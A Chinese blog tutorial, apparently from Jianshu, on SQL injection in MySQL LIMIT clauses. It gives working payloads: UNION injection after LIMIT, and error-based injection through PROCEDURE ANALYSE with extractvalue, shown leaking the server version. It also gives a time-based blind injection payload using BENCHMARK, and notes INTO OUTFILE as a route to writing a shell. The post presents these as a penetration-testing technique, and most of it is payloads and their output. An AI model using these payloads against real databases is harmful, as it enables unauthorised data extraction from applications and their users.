Mysql 注入之 limit 注入

参考链接:
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字

执行语句

select id from users limit 0,1

这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句

select id from users limit 0,1 union select username from users;

图片.png

存在 order by 关键字

执行语句

select id from users order by id desc limit 0,1;

此时后面再次使用union将会报错

图片.png

除了union 就没有其他可以使用的了吗,非也
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
MySQL 5中的SELECT语法:

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

limit 关键字后面还可跟PROCEDUREINTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

  • 使用 PROCEDURE函数进行注入
    ANALYSE支持两个参数,首先尝试一下默认两个参数
mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

成功爆出 mysql 版本信息,证明如果存在报错回显的话,可以使用报错注入在limit后面进行注入
不存在回显怎么办,延迟注入呀
执行命令

select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

如果 select version(); 第一个为5,则多次执行sha(1)达到延迟效果
这里使用 sleep 进行尝试,但均未成功,所以需要使用BENCHMARK进行替代

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 11,007评论 0 1
  • 这一篇最主要是记录下命令,方便以后查找 使用Mysql 创建数据库 create database mysql_t...
    Treehl阅读 3,677评论 0 0
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 12,158评论 0 5
  • 目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) ...
    JasonChiu17阅读 6,248评论 0 0
  • ORACLE自学教程 --create tabletestone ( id number, --序号usernam...
    落叶寂聊阅读 4,821评论 0 0